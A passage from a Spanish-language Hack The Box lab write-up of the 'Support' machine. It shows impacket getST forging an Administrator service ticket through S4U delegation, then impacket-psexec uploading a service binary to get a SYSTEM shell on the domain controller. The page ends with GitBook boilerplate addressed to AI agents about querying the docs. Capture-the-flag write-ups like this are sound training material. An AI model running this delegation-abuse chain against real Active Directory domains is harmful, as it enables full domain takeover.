/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
                                                                                                       
<strong>❯ export KRB5CCNAME=$(pwd)/Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache                                                                                                       
</strong></code></pre>

5\) Por ultimo vamos a usar `impacket-psexec` con el ticket TGS inyectado para ejecutar comandos (RCE) como `nt authority\system`.

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-psexec -k dc.support.htb                                   
</strong>/usr/local/lib/python3.13/dist-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&#x3C;81.
  import pkg_resources
Impacket v0.13.0.dev0+20250611.105641.0612d078 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file ovlSVhOk.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service twpT on dc.support.htb.....
[*] Starting service twpT.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
</code></pre>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://securitylayer.gitbook.io/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
